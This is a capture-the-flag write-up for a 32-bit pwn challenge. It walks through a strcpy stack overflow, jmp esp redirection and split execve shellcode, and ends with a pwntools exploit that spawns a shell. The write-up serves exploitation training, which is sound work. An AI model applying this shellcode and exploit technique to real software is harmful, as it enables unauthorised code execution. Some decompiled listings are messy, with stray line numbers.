Space

1) Checked Security

It is a 32 bit binary

2) Decompiled the code

```
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   Decompile: main - (space)
2 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3 /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
5 undefined4 main(void)
6
7 {
8
    undefined local 2f [31];
9
    undefined *local 10;
10
11
    local 10 = &stack0x000000004;
12
    printf("> ");
13
    fflush( stdout);
14
    read(0,local 2f,0x1f);
15
    vuln(local 2f);
    return 0;
17 }
```

```
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  🗲 Decompile: vuln - (space)
 2 /* WARNING: Function: __x86.get_pc_thunk.ax_replaced_with_injection: get_pc_thunk_ax_*/
 3
 4 void vuln(char *param_1)
 5
 6 {
 7
    char local_12 [10];
 8
9
    strcpy(local_12,param_1);
10
    return;
11 }
12
```

- 3) Note
- i) We find a buffer overflow with strcpy, we can write 31 bytes on a 10 byte buffer, overflowing 21 bytes
- ii) There is a jmp esp instruction that can be used to bypass ASLR to run shellcode
- iii) We also need to split our shellcode into 2 parts
- 4) Shellcode
 execve('/bin//sh', NULL, NULL)
 eax -> 11
 ebx -> pointer /bin//sh
 ecx -> 0
 edx >

Now we need to make a shellcode that is small enough

This instruction can be used to 0 out edx

		Sign-extend 32-bit value in EAX to 64-bit value in EDX:EAX.
CDQ	99	Mainly used to prepare a dividend for the 32-bit IDIV (signed divide) instruction.

```
global _start

section .text
_start:
    xor ecx, ecx
    push ecx
    push "//sh"
    push "/bin"
    mov ebx, esp
    int 0x80

push 11
    pop eax
    add esp,0x12
    cdq
    jmp esp
```

5) Exploit

```
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./space")
context.binary = exe

io = gdb.debug(exe.path, 'b* 0x080491c1 \nc')
io = process(exe.path)

jmp_esp = p32(0x804919f)
payload = unhex('9031c951682f2f7368682f62696e89e3cd80')
+jmp_esp+unhex('6a0b5883c41299ffe4')
io.sendafter(b'> ', payload)
io.interactive()
```

6) Flag